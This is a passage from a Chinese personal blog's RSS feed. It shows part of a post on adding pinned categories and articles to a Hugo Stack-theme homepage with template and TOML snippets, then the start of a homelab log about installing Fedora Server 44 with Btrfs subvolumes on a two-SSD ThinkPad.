&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go-html-template" data-lang="go-html-template"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;where&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;.Site.RegularPages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Type&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;in&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;.Site.Params.mainSections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$pag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;.Paginate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$pag&lt;/span&gt;&lt;span class="na"&gt;.Pages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;partial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;article-list/default&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;因此，这个功能需要覆盖主题的首页模板。覆盖文件放在站点自己的 &lt;code&gt;layouts/index.html&lt;/code&gt;，而不是修改 &lt;code&gt;themes/hugo-theme-stack&lt;/code&gt;，这样更新主题子模块时不会丢失改动。&lt;/p&gt;
&lt;h2 id="统一配置分类和文章"&gt;统一配置分类和文章
&lt;/h2&gt;&lt;p&gt;我在 &lt;code&gt;hugo.toml&lt;/code&gt; 中使用一个有序的 &lt;code&gt;items&lt;/code&gt; 数组。数组顺序就是首页显示顺序，目前置顶的是 Paramer 开发记录合集：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;homepage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pinned&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;enabled&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;categoryArticleLimit&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;homepage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pinned&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;category&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Paramer 开发记录&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;需要置顶单篇文章时，继续添加一个条目即可。&lt;code&gt;value&lt;/code&gt; 是 Hugo 中的内容路径，&lt;code&gt;label&lt;/code&gt; 可以省略；省略后使用文章原始标题：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-toml" data-lang="toml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;homepage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pinned&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;article&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/post/2026/chezmoi/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;label&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;可选的自定义标题&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;两种类型放在同一个数组里，比 &lt;code&gt;pinnedCategories&lt;/code&gt; 和 &lt;code&gt;pinnedArticles&lt;/code&gt; 两个独立列表更容易控制混合排序，以后也能继续扩展新的置顶类型。&lt;/p&gt;
&lt;h2 id="解析分类合集"&gt;解析分类合集
&lt;/h2&gt;&lt;p&gt;分类的配置值是显示名称，例如 &lt;code&gt;Paramer 开发记录&lt;/code&gt;。Hugo 的 taxonomy map 使用小写分类名作为 key，而分类页面 URL 使用 &lt;code&gt;urlize&lt;/code&gt; 后的 slug，两者不能混用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go-html-template" data-lang="go-html-template"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$termKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lower&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$item&lt;/span&gt;&lt;span class="na"&gt;.value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$termSlug&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lower&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$item&lt;/span&gt;&lt;span class="na"&gt;.value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;urlize&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$termPages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;.Site.Taxonomies.categories&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$termKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/categories/%s/&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$termSlug&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;relURL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$item&lt;/span&gt;&lt;span class="na"&gt;.value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;a&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;拿到 taxonomy 中的页面集合后，过滤隐藏文章、按日期倒序，再按照 &lt;code&gt;categoryArticleLimit&lt;/code&gt; 截取即可。单篇文章则可以直接用 &lt;code&gt;.Site.GetPage $item.value&lt;/code&gt; 解析。&lt;/p&gt;
&lt;p&gt;如果配置指向不存在的分类或文章，模板会通过 &lt;code&gt;warnf&lt;/code&gt; 在构建日志中报告错误，而不是生成一个失效链接。&lt;/p&gt;
&lt;h2 id="不改变原有文章流"&gt;不改变原有文章流
&lt;/h2&gt;&lt;p&gt;置顶区块只在分页第一页显示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go-html-template" data-lang="go-html-template"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;$pag&lt;/span&gt;&lt;span class="na"&gt;.PageNumber&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;partial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;homepage/pinned.html&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;{{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;置顶内容仍然保留在下面的正常时间线中。这样置顶只影响首页的信息层级，不会改变 Hugo 的分页集合，也不会让某篇文章因为被置顶而从归档或 RSS 中消失。&lt;/p&gt;
&lt;p&gt;相关实现分别位于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;layouts/index.html&lt;/code&gt;：覆盖 Stack 首页，在第一页插入置顶区块；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;layouts/partials/homepage/pinned.html&lt;/code&gt;：解析和渲染分类、文章条目；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assets/scss/custom.scss&lt;/code&gt;：响应式布局和卡片样式；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hugo.toml&lt;/code&gt;：站点级置顶配置。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>把 ThinkPad 改造成 Homelab：Fedora Server 44 + Nix 安装配置记录</title><link>https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/</link><pubDate>Sun, 12 Jul 2026 04:45:14 +0800</pubDate><guid>https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/</guid><description>&lt;p&gt;最近，我准备把一台装有两块 1 TB SSD 的 ThinkPad 改造成 Homelab。&lt;/p&gt;
&lt;p&gt;这是一份运维记录。本篇不会试图把它写成一篇面面俱到的 Fedora 教程，而是按实际进度持续补完，记下操作，原因，问题。&lt;/p&gt;
&lt;p&gt;整体上，我准备采用这样的分工：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fedora 管理内核、驱动、服务等系统级组件；&lt;/li&gt;
&lt;li&gt;Nix 管理开发工具链和用户环境；&lt;/li&gt;
&lt;li&gt;Btrfs 快照负责系统回滚；&lt;/li&gt;
&lt;li&gt;第二块硬盘单独挂载到 &lt;code&gt;/srv&lt;/code&gt;，存放 Homelab 的服务数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="安装-fedora-server-44"&gt;安装 Fedora Server 44
&lt;/h2&gt;&lt;p&gt;Fedora 的 Anaconda 安装器已经相当自动化，界面也很好理解。除了磁盘分区之外，其余设置没有太多值得展开的地方：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;创建了 &lt;code&gt;root&lt;/code&gt; 和 &lt;code&gt;veno&lt;/code&gt; 用户；&lt;/li&gt;
&lt;li&gt;系统语言选择了 &lt;code&gt;en_US&lt;/code&gt; 和 &lt;code&gt;zh_CN&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;键盘布局使用 &lt;code&gt;en_US&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;在安装器里提前连接了 Wi-Fi，免得重启后再面对纯命令行配置无线网络。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;真正需要认真规划的是两块硬盘。&lt;/p&gt;
&lt;h3 id="为什么不用自动分区"&gt;为什么不用自动分区
&lt;/h3&gt;&lt;p&gt;我先尝试了一次 Fedora Server 的自动分区。它大致把系统盘安排成这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nvme1n1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├─nvme1n1p1 vfat /boot/efi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├─nvme1n1p2 xfs /boot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─nvme1n1p3 LVM2_member
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─fedora-root xfs /
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;另一块盘则是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nvme0n1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─nvme0n1p1 LVM2_member
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;安装器直接把两块硬盘加入了同一个 LVM Volume Group。这个布局当然能用，但它把系统盘和数据盘绑在了一起，不符合我希望两块磁盘职责清晰、可以独立维护的想法。&lt;/p&gt;
&lt;p&gt;所以最后还是选择了自定义分区。不得不说，在“我想清楚地知道每一块盘上有什么”这件事上，我反而开始怀念 Arch Linux 的安装过程了。不过 Homelab 的宿主系统，我确实不打算用 Arch。&lt;/p&gt;
&lt;h3 id="我的磁盘布局"&gt;我的磁盘布局
&lt;/h3&gt;&lt;p&gt;第一块硬盘作为系统盘。它包含一个 1 GiB 的 EFI 分区、一个 2 GiB 的 &lt;code&gt;/boot&lt;/code&gt; 分区，剩余空间全部交给一个 Btrfs 文件系统。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/system-disk-layout.jpeg"
width="2048"
height="1536"
srcset="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/system-disk-layout_hu_f1190926e4ad3f39.jpeg 480w, https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/system-disk-layout_hu_8dd36d2801aba402.jpeg 1024w"
loading="lazy"
alt="系统盘的分区布局"
class="gallery-image"
data-flex-grow="133"
data-flex-basis="320px"
&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;system disk
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├─EFI System Partition 1 GiB vfat /boot/efi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├─boot 2 GiB xfs /boot
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─fedora 剩余空间 btrfs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;在 &lt;code&gt;fedora&lt;/code&gt; Btrfs 文件系统中，我创建了四个子卷：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fedora
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├─root /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├─home /home
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├─var /var
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─snapshots /.snapshots
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/system-subvolumes.jpeg"
width="2048"
height="1536"
srcset="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/system-subvolumes_hu_396e8bfc276f36ec.jpeg 480w, https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/system-subvolumes_hu_7b82caf5364d2a26.jpeg 1024w"
loading="lazy"
alt="系统盘中的四个 Btrfs 子卷"
class="gallery-image"
data-flex-grow="133"
data-flex-basis="320px"
&gt;&lt;/p&gt;
&lt;p&gt;这些子卷共享同一个 Btrfs 文件系统的空间，并不是各自预先切走四分之一容量。把 &lt;code&gt;/var&lt;/code&gt; 独立出来，可以避免日志、容器数据等频繁变化的内容混进根子卷快照；独立的 &lt;code&gt;/.snapshots&lt;/code&gt; 则为后续配置快照工具留出位置。&lt;/p&gt;
&lt;p&gt;第二块 1 TB 硬盘不加入系统盘的 Btrfs 文件系统，也不和它组成跨盘卷。我把整块盘创建为一个独立的 Btrfs 文件系统，并挂载到 &lt;code&gt;/srv&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/data-disk-layout.jpeg"
width="2048"
height="1536"
srcset="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/data-disk-layout_hu_93cf963fac886191.jpeg 480w, https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/data-disk-layout_hu_66360efbb10ffe5e.jpeg 1024w"
loading="lazy"
alt="第二块硬盘创建为独立的 Btrfs 文件系统"
class="gallery-image"
data-flex-grow="133"
data-flex-basis="320px"
&gt;&lt;/p&gt;
